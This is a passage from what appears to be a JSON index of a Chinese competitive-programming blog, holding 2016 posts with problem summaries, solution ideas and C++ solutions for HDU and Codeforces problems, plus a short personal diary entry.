cout\u003c\u003c\"rx::\"\u003c\u003crx\u003c\u003c\" ry::\"\u003c\u003cry\u003c\u003cendl; 59 if (rx!=ry)","date":"2016-03-28","externalUrl":null,"permalink":"/2016/03/hdu5652/","section":"Posts","summary":"题目链接 题意：没图不好描述，有中文题面中文题面，直接看吧。 思路：据说这道题有三种做法。 当时比赛一种都不会。","tags":["bfs","二分","动态连通性","图论","并查集"],"title":"bc #77 ||hdu 5652 India and China Origins (图的动态连通性问题，并查集or 二分+bfs验证连通性)","type":"post"},{"categories":["ACM"],"content":"题目链接 題意：已知一个包含 nn 个元素的正整数集合 SS，设 f(S)f(S) 为集合 SS 中所有元素的异或(XOR)的结果。 如：S={1,2,3}, 则 f(S) = 0f(S)=0。 给出集合 SS，你需要计算 将所有 f(s)进行异或后的值, s⊆S. 思路：当集合中元素大于1个的时候，每个元素对都会出现偶数次，对答案的贡献为0. 当集合中只有一个元素的时候，设为x,对答案的贡献为x. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月26日 星期六 18时52分14秒 4File Name :code/bc/#77/1002.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1005; 34int n; 35int a[N]; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 42 int T; 43 cin\u003e\u003eT; 44 while (T--) 45 { 46 scanf(\"%d\",\u0026n); 47 48 for ( int i = 0 ; i \u003c n ; i++) scanf(\"%d\",\u0026a[i]); 49 50 if (n==1) 51 { 52 printf(\"%d\\n\",a[0]); 53 } 54 else 55 printf(\"0\\n\"); 56 } 57 58 #ifndef ONLINE_JUDGE 59 fclose(stdin); 60 #endif 61 return 0; 62}","date":"2016-03-27","externalUrl":null,"permalink":"/2016/03/hdu5650/","section":"Posts","summary":"题目链接 題意：已知一个包含 nn 个元素的正整数集合 SS，设 f(S)f(S) 为集合 SS 中所有元素的异或(XOR)的结果。 如：S={1,2,3}, 则 f(S) = 0f(S)=0。","tags":["水"],"title":"bc #77 div 2 1001 ||hdu 5650 so easy (傻逼题)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意；给出一个字符串，只由小写字母组成，可以任意排列，但是不能减少字符，问最多能得到多少个回文串，答案9+7 思路：排列组合题。 首先考虑无解的情况。统计出每个字母出现的次数，当字符串长度为奇数而且出现次数为奇数的字母的个数多于1个时无解，或者当字符串长度为偶数，出现次数为奇数的字母的个数多于0个时无解。 接下来，由于是回文串，只需要考虑len/2的情况，另一半是一一对应的。 其实就是一共有len/2的元素，其中有一些重复的，然后全排列。 多重元素的排列问题。 答案为(len/2)! % （cnt[1]!）% (cnt[2]!)…即可 哦要先把cnt降序排一下，只考虑cnt[i]\u003e1的元素，然后因为是要考虑一半长度，所以每个cnt[i]/2 那一堆阶乘直接逆元搞就好了。。。。 比赛的时候手滑，把cnt[i]!写成了cnt[i],wa了一发。。。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月26日 星期六 18时52分01秒 4File Name :code/bc/#77/1001.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const LL MOD =1E9+7; 34const int N=1E3+9; 35string s; 36int cnt[30]; //start from 1 37LL ny[N]; 38LL fac[30]; 39 40bool cmp( int a,int b) 41{ 42 return a\u003eb; 43} 44 45 46LL ksm(LL a,LL b) 47{ 48 LL res=1LL; 49 while (b\u003e0) 50 { 51 if (b%2==1) res = (res*a)%MOD; 52 b = b\u003e\u003e1; 53 a = (a*a)%MOD; 54 } 55 return res; 56} 57 58void getny() 59{ 60 ms(ny,0); 61 for ( int i = 1 ; i \u003c= 1004 ; i++) 62 ny[i] = ksm(LL(i),MOD-2); 63} 64 65int main() 66{ 67 #ifndef ONLINE_JUDGE 68 freopen(\"code/in.txt\",\"r\",stdin); 69 #endif 70 71// getny(); 72 int T; 73 cin\u003e\u003eT; 74 while (T--) 75 { 76 cin\u003e\u003es; 77 ms(cnt,0); 78 int len = s.length(); 79 fo","date":"2016-03-27","externalUrl":null,"permalink":"/2016/03/hdu-5651/","section":"Posts","summary":"题目链接 题意；给出一个字符串，只由小写字母组成，可以任意排列，但是不能减少字符，问最多能得到多少个回文串，答案9+7","tags":["排列组合","逆元"],"title":"bc #77 div 2 B ||hdu 5651 xiaoxin juju needs help (排列组合，逆元)","type":"post"},{"categories":["ACM"],"content":"比赛链接 两题QAQ A：7分钟1A 有n个大人m个小孩乘公交车，票价每人一元，一个大人最多免费带一个小孩，没有大人陪同的小孩不能乘车。 问是否有解，如果有解输出所有乘客付的钱的可能的最小值和可能的最大值。 思路：最小值就是先尽量利用每个大人带一个孩子。最大值就是把所有孩子都给一个大人。 特殊情况是：没有大人的时候，孩子不能乘车，无解。没有小孩的时候，大人没办法免费带孩子，也要特殊考虑。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月24日 星期四 12时24分27秒 4File Name :code/cf/#120/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33int n,m; 34int mx,mi; 35int main() 36{ 37 #ifndef ONLINE_JUDGE 38 freopen(\"code/in.txt\",\"r\",stdin); 39 #endif 40 41 cin\u003e\u003en\u003e\u003em; 42 if (n==0\u0026\u0026m\u003e0) 43 { 44 puts(\"Impossible\"); 45 return 0; 46 } 47 if (n==0\u0026\u0026m==0) 48 { 49 cout\u003c\u003c0\u003c\u003c\" \"\u003c\u003c0\u003c\u003cendl; 50 return 0; 51 } 52 if (m==0\u0026\u0026n\u003e0) 53 { 54 cout\u003c\u003cn\u003c\u003c\" \"\u003c\u003cn\u003c\u003cendl; 55 return 0 ; 56 } 57 if (n\u003e=m) 58 { 59 mi = n ; 60 mx = n-1+m; 61 } 62 else 63 { 64 mi = n + m-n; 65 mx = n-1+m; 66 } 67 cout\u003c\u003cmi\u003c\u003c\" \"\u003c\u003cmx\u003c\u003cendl; 68 69 70 #ifndef ONLINE_JUDGE 71 fclose(stdin); 72 #endif 73 return 0; 74} B:有两个被包围的城市，给出城市的坐标以及敌人距离城市的距离。敌人向着城市移动。要求建一个雷达，使得雷达能够感应到两伙敌人（分别朝着两个方向移动）的“the start of the movements”。问雷达的最小半径是多少。 反思：思维不够清楚，太呆 思路：两个圆有**五种（一开始想成了三种，所以wa7）**位置关系，分别考虑。 相离时，答案为（圆心距-半径之和）/2 外切时：把雷达建在切点，答案为0. 相交时：把雷达建在交点，答案为0 内切时：把雷达建在交点，答案为0. 内含时：答案为（abs(半径之差)-圆心距离）/2. 1/* ***********","date":"2016-03-24","externalUrl":null,"permalink":"/2016/03/codeforces-120-div-2-virtual-participation/","section":"Posts","summary":"比赛链接 两题QAQ A：7分钟1A 有n个大人m个小孩乘公交车，票价每人一元，一个大人最多免费带一个小孩，没有大人陪同的小孩不能乘车。 问是否有解，如果有解输出所有乘客付的钱的可能的最小值和可能的最大值。","tags":["codeforces","dp","acm","ACM"],"title":"codeforces #120 div 2 (Virtual Participation)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：将正整数n(n\u003c=1E9)，拆分成k个（k\u003c=1E9）个**互不相等的正整数，**并且使得k个正整数的乘积最大。如果可以拆分，输出最大乘积，否则输出-1. 思路：其实是道贪心。。容易知道，k个互不相同的正整数的最小的和为sum=(k+1)*k/2，以此来判断是否有解。如果有解。那么找到最大的i，使得从i 开始的连续k个正整数相加的和小于等于n. 由于k不会超过1E5(否则一定无解)，所以可以开个数组存一下拆分的每个数。 然后设此时还需要添加r才能到n,那么贪心得想，一定是给最大的r个每个增加1最后的乘积会最大。这等效于直接将第k-r+1个直接增加r. 注意全程long long 以及： 开了同步以后scanf/puts/printf 和 cin/cout 后会导致WA!!! # 开了同步以后scanf/puts/printf 和 cin/cout 后会导致WA!!! # 开了同步以后scanf/puts/printf 和 cin/cout 后会导致WA!!! # 开了同步以后scanf/puts/printf 和 cin/cout 后会导致WA!!! # 开了同步以后scanf/puts/printf 和 cin/cout 后会导致WA!!! # 原因是puts也是\u003cstdio.h\u003e里的。。 c和c++各有一套指针。。随时同步，所以cin会慢。。关掉同步会快，但是由于已经关掉同步了，混用就会有问题。 以前不知道puts也是不能混用的QAQ 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月22日 星期二 20时43分37秒 4File Name :code/hdu/r5646.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E6+7; 34const LL MOD = 1E9+7; 35LL n,k; 36LL a[N]; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42 ios::sync_with_stdio(false); 43 int T; 44 cin\u003e\u003eT; 45 while (T--) 46 { 47 ms(a,0); 48 cin\u003e\u003en\u003e\u003ek; 49 LL sum = k*(k+1)/2; 50 LL r = n - sum; 51 if (r\u003c0) 52 { 53 // puts(\"-1\"); 54 cout\u003c\u003c-1\u003c\u003cendl; 55 continue; 56 } 57 58 L","date":"2016-03-23","externalUrl":null,"permalink":"/2016/03/hdu5646/","section":"Posts","summary":"题目链接 题意：将正整数n(n\u003c=1E9)，拆分成k个（k\u003c=1E9）个**互不相等的正整数，**并且使得k个正整数的乘积最大。如果可以拆分，输出最大乘积，否则输出-1.","tags":["greedy"],"title":"hdu 5646 ||bc #76 div 2 (贪心)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：n（n\u003c=300）个球，每个球上标有一个标号(a[i]\u003c=300),从中拿一个，不放回，再拿一个，问第一个球上的数字严格大于第二个球上的数字的概率。 思路：古典概型。总数为n*(n-1)/2…然后标号最大300,不妨用cnt[i]统计标号为i的球的个数。从小往大扫一遍cnt,cnt[i]对分子的贡献就是cnt[i]*cur。。cur 为 sum{cnt[1]..cnt[i-1]}; 最后注意将分子除以2，因为有一半是第一个球比第二个球小的情况。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月22日 星期二 19时27分40秒 4File Name :code/hdu/5645.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=305; 34int n; 35int a[N]; 36int cnt[N]; 37int main() 38{ 39 #ifndef ONLINE_JUDGE 40 freopen(\"code/in.txt\",\"r\",stdin); 41 #endif 42// ios::sync_with_stdio(false); 43 int T; 44 cin\u003e\u003eT; 45 while (T--) 46 { 47 ms(cnt,0); 48 cin\u003e\u003en; 49 for ( int i = 0 ; i \u003c n ; i++) 50 { 51 cin\u003e\u003ea[i]; 52 cnt[a[i]]++; 53 } 54 int cur = 0 ; 55 int fz = 0 ; 56 for ( int i = 1 ; i \u003c= 300 ; i++) 57 { 58 if (cnt[i]==0) continue; 59 fz +=cnt[i]*cur; 60 cur +=cnt[i]; 61 //cout\u003c\u003c\"fz:\"\u003c\u003cfz\u003c\u003cendl; 62 } 63 64 int fm = n*(n-1)/2; 65 double ans = fz*0.5/(1.0*fm); 66 printf(\"%.6f\\n\",ans); 67 } 68 69 #ifndef ONLINE_JUDGE 70 fclose(stdin); 71 #endif 72 return 0; 73}","date":"2016-03-22","externalUrl":null,"permalink":"/2016/03/hdu5645/","section":"Posts","summary":"题目链接 题意：n（n\u003c=300）个球，每个球上标有一个标号(a[i]\u003c=300),从中拿一个，不放回，再拿一个，问第一个球上的数字严格大于第二个球上的数字的概率。 思路：古典概型。总数为n*(n-1)/2…然后标号最大300,不妨用cnt[i]统计标号为i的球的个数。从小往大扫一遍cnt,cnt[i]对分子的贡献就是cnt[i]*cur。。cur 为 sum{cnt[1]..cnt[i-1]}; 最后注意将分子除以2，因为有一半是第一个球比第二个球小的情况。","tags":["概率"],"title":"hdu 5645 DZY Loves Balls （古典概型）","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n个点，m条边，定义一条路径的价值为【路径长度*(路径终点的度)】，求最大价值。 思路：一月份的时候写过一个回溯。。。TLE22了。。。其实也能猜到是dp..但是无奈不会写。然而其实真的不难== 我们枚举路径的终点，dp[i]表示以点i为终点能得到的最长路径长度。 转移方程：dp[i] = max(dp[i],dp[edge[i][j]]+1); 含义是与i点相连的j点是否要将i点加在以j点为路径末尾的路径的终点，使i点成为新的路径终点。 具体看代码 1/* *********************************************** 2Author :111qqz 3Created Time :2016年01月08日 星期五 21时55分26秒 4File Name :code/cf/#338/B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=2E5+7; 34int n,m; 35vector\u003cint\u003eedge[N]; 36LL ans; 37LL cur; 38LL dp[N]; 39 40 41int main() 42{ 43 #ifndef ONLINE_JUDGE 44 freopen(\"code/in.txt\",\"r\",stdin); 45 #endif 46 cin\u003e\u003en\u003e\u003em; 47 for ( int i = 0 ; i \u003c m ; i ++) 48 { 49 int x,y; 50 scanf(\"%d %d\",\u0026x,\u0026y); 51 edge[x].push_back(y); 52 edge[y].push_back(x); 53 } 54 55 for ( int i = 1 ; i \u003c= n ; i++) 56 { 57 dp[i] = 1; 58 for (int j = 0 ; j \u003c int(edge[i].size()) ; j++) 59 { 60 int v = edge[i][j]; 61 dp[i] = max(dp[i],dp[v]+1); 62 } 63 ans = max(ans,LL(edge[i].size())*dp[i]); 64 } 65 cout\u003c\u003cans\u003c\u003cendl; 66 67 #ifndef ONLINE_JUDGE 68 fclose(stdin); 69 #endif 70 return 0; 71}","date":"2016-03-22","externalUrl":null,"permalink":"/2016/03/cf615b/","section":"Posts","summary":"题目链接 题意：给出n个点，m条边，定义一条路径的价值为【路径长度*(路径终点的度)】，求最大价值。 思路：一月份的时候写过一个回溯。。。TLE22了。。。其实也能猜到是dp..但是无奈不会写。然而其实真的不难== 我们枚举路径的终点，dp[i]表示以点i为终点能得到的最长路径长度。","tags":["dp","基础图论"],"title":"codeforces #338 div2 B || 615B  Longtail Hedgehog","type":"post"},{"categories":["随笔杂谈"],"content":"博客坏了两天。。。有点sad. 现在手头还有几篇题解没写完。。。然而要断电了。。明天再写。。。 os实验真是日了狗了。。。其实我已经拿小黑做好了。。。 但是给室友搞的时候就怎么也复现不了。。。不明啊。 今天上毛概课的时候小可坐我后面吓傻了23333 哦对了，把小可的好友加了回来。。。不过貌似没什么和我说话的兴趣呢23333 晚安。","date":"2016-03-21","externalUrl":null,"permalink":"/2016/03/20160321/","section":"Posts","summary":"博客坏了两天。。。有点sad. 现在手头还有几篇题解没写完。。。然而要断电了。。明天再写。。。","tags":["算法竞赛"],"title":"20160321生活杂感","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：n个点，m（m\u003cn/2）条不能走的边，问最少连多少条边，使得任何两个点之间的距离最多为2. 输出最少的边数和连接的哪些边。 思路： **数据范围很关键。**数据范围很关键。数据范围很关键。 因为m\u003cn/2,每条禁止的边最多禁止两个点，所以禁止的点数\u003cn..那么至少有一个点是和可以和其他所有点相连的。。于是把其他所有点和该点相连即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月19日 星期六 10时39分40秒 4File Name :code/cf/problem/330B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 34int cnt[N]; 35int n,m; 36int main() 37{ 38 #ifndef ONLINE_JUDGE 39 freopen(\"code/in.txt\",\"r\",stdin); 40 #endif 41 42 ms(cnt,0); 43 cin\u003e\u003en\u003e\u003em; 44 for ( int i = 1 ; i \u003c= m ; i++) //因为m\u003cn/2...一条m限制两个点不能相连。。最多限制2*m\u003cn个。。。 45 { //所以至少有一个点不受任何限制。。把其他的所有点连到这个点上即可。 46 int u,v; //此时得到一个 star graph. 47 cin\u003e\u003eu\u003e\u003ev; 48 cnt[v]++; 49 cnt[u]++; 50 } 51 52 int p; 53 for ( int i = 1 ; i \u003c= n ; i++) 54 { 55 if (cnt[i] == 0) 56 { 57 p = i ; 58 break; 59 } 60 } 61 62 cout\u003c\u003cn-1\u003c\u003cendl; 63 for ( int i = 1; i \u003c= n ; i++) 64 { 65 if (i==p) continue; 66 cout\u003c\u003cp\u003c\u003c\" \"\u003c\u003ci\u003c\u003cendl; 67 } 68 69 70 71 72 #ifndef ONLINE_JUDGE 73 fclose(stdin); 74 #endif 75 return 0; 76}","date":"2016-03-21","externalUrl":null,"permalink":"/2016/03/cf330b/","section":"Posts","summary":"题目链接 题意：n个点，m（m\u003cn/2）条不能走的边，问最少连多少条边，使得任何两个点之间的距离最多为2. 输出最少的边数和连接的哪些边。 思路： **数据范围很关键。**数据范围很关键。数据范围很关键。","tags":["图论基础"],"title":"codeforces 330 B. Road Construction （图论基础）","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出n和k,给出一个长度为n的字符串表示房间的占用情况（0表示没占用，1表示已占用），从n个房间中找出k+1个，使得k+1中的k个距离k+1个中的1个的距离和最小。 思路：只需要考虑没被占用的位置。所以用pos[]数组记录0的位置。 找到第一个能住下的位置后向前平移即可。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月19日 星期六 00时21分28秒 4File Name :code/cf/croc2016/C.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E5+7; 34int ban[N]; 35int k,n; 36int sum[N]; 37int pos0[N]; 38string st; 39 40int dis(int x,int l,int r) 41{ 42 return max(pos0[x]-pos0[l],pos0[r]-pos0[x]); 43} 44int main() 45{ 46 #ifndef ONLINE_JUDGE 47 freopen(\"code/in.txt\",\"r\",stdin); 48 #endif 49 cin\u003e\u003en\u003e\u003ek; 50 cin\u003e\u003est; 51 ms(ban,0); 52 ms(pos0,0); 53 k++; 54 int len = st.length(); 55 int cnt0 = 0; 56 for ( int i = 0 ; i \u003c len ; i++) 57 { 58 if (st[i]=='0') 59 { 60 ban[i+1] = 0; 61 cnt0++; 62 pos0[cnt0] = i ; 63 } 64 else 65 { 66 ban[i+1] = 1; 67 } 68 } 69 70 sum[0] = 0 ; 71 72 for ( int i = 1 ; i \u003c= n ; i++) 73 { 74 sum[i] = sum[i-1] + ban[i]; 75 } 76 int ans = inf; 77 int l = 1 ; int r = k; 78 int mid = 0; 79 for ( int i = 1 ; i \u003c= r ; i++) 80 { 81 if (dis(i,l,r)\u003cdis(mid,l,r)) 82 { 83 mid = i; 84 } 85 } 86 87 ans = dis(mid,l,r); 88 for ( ; r \u003c= cnt0 ; r++,l++) 89 { 90 while (dis(m","date":"2016-03-21","externalUrl":null,"permalink":"/2016/03/cf645c/","section":"Posts","summary":"题目链接 题意：给出n和k,给出一个长度为n的字符串表示房间的占用情况（0表示没占用，1表示已占用），从n个房间中找出k+1个，使得k+1中的k个距离k+1个中的1个的距离和最小。","tags":["算法竞赛"],"title":"codeforces croc 2016 C. Enduring Exodus","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：长度为n的初始为1，2,3…n的序列，最多进行k次两个数交换，变换后的序列中最懂能有多少逆序对。 思路：贪心得想。。每次变最外层的对答案贡献最多。 以及，最能能变化n/2次。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月19日 星期六 00时21分20秒 4File Name :code/cf/croc2016/B.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33LL n,k; 34int main() 35{ 36 #ifndef ONLINE_JUDGE 37 freopen(\"code/in.txt\",\"r\",stdin); 38 #endif 39 cin\u003e\u003en\u003e\u003ek; 40 LL cnt = min(n/2,k); 41 LL ans = 0; 42 LL cur = n-1; 43 for ( int i = 1 ; i \u003c=cnt ; i++) 44 { 45 ans += cur; 46 cur--; 47 ans +=cur; 48 cur--; 49 } 50 cout\u003c\u003cans\u003c\u003cendl; 51 52 #ifndef ONLINE_JUDGE 53 fclose(stdin); 54 #endif 55 return 0; 56}","date":"2016-03-21","externalUrl":null,"permalink":"/2016/03/cf645b/","section":"Posts","summary":"题目链接 题意：长度为n的初始为1，2,3…n的序列，最多进行k次两个数交换，变换后的序列中最懂能有多少逆序对。 思路：贪心得想。。每次变最外层的对答案贡献最多。 以及，最能能变化n/2次。","tags":["greedy"],"title":"codeforces croc 2016 B. Mischievous Mess Makers (贪心)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：2×2的格子，有三个位置分别放”A“ “B” “C” ，一个位置为空。只有和空位相邻位置上的字母能移动到空位。没有其他移动规则。现在给出两个状态。问能否互相转化。 思路： 貌似可以dfs…？但是一共才2*2，可以直接暴力枚举。 手写一种变换最多能有12种。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月19日 星期六 00时21分02秒 4File Name :code/cf/croc2016/A.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33string a,b,c,d; 34int kind (string a,string b) 35{ 36 if (a==\"AB\") return 1; 37 if (a==\"BC\") return 1; 38 if (a==\"CA\") return 1; 39 if (b==\"AC\") return 1; 40 if (b==\"BA\") return 1; 41 if (b==\"CB\") return 1; 42 43 return 2; 44} 45int main() 46{ 47 #ifndef ONLINE_JUDGE 48 freopen(\"code/in.txt\",\"r\",stdin); 49 #endif 50 cin\u003e\u003ea\u003e\u003eb\u003e\u003ec\u003e\u003ed; 51 int p = kind(a,b); 52 int q = kind(c,d); 53 if (p==q) 54 { 55 puts(\"YES\"); 56 } 57 else 58 { 59 puts(\"NO\"); 60 } 61 62 63 #ifndef ONLINE_JUDGE 64 fclose(stdin); 65 #endif 66 return 0; 67}","date":"2016-03-21","externalUrl":null,"permalink":"/2016/03/cf645a/","section":"Posts","summary":"题目链接 题意：2×2的格子，有三个位置分别放”A“ “B” “C” ，一个位置为空。只有和空位相邻位置上的字母能移动到空位。没有其他移动规则。现在给出两个状态。问能否互相转化。 思路： 貌似可以dfs…？但是一共才2*2，可以直接暴力枚举。 手写一种变换最多能有12种。","tags":["brute force"],"title":"codeforces croc2016 A. Amity Assessment (暴力)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：设条件A为一个数恰好是k个互不相同的b的整数次幂的和，问某一个区间内满足条件A的数的个数是有多少个。 Example. Let X=15, Y=20, K=2, B=2. By this example 3 numbers are the sum of exactly two integer degrees of number 2: 17 = 24+20, 18 = 24+21, 20 = 24+22. 思路：数位dp..需要理解清楚恰好有k个b的互不相同的整数次幂的和这句话。 如果恰好是b的整数幂。。可以转化成b进制。。 互不相同。。说明。。所有位置上的数字要么是0，要么是1. 于是题目可以转化成求某区间内，满足一个数的b进制中恰好有k个1，其余都是0的数的个数有多少个。 然后就是数位dp的套路了。。。 注意dp数组的大小。。。应该按照位数最多的2进制考虑。。。一开始是按照10进制考虑结果只开了dp[15][15]….简直蠢哭。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年03月18日 星期五 12时13分55秒 4File Name :code/ural//1057.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include 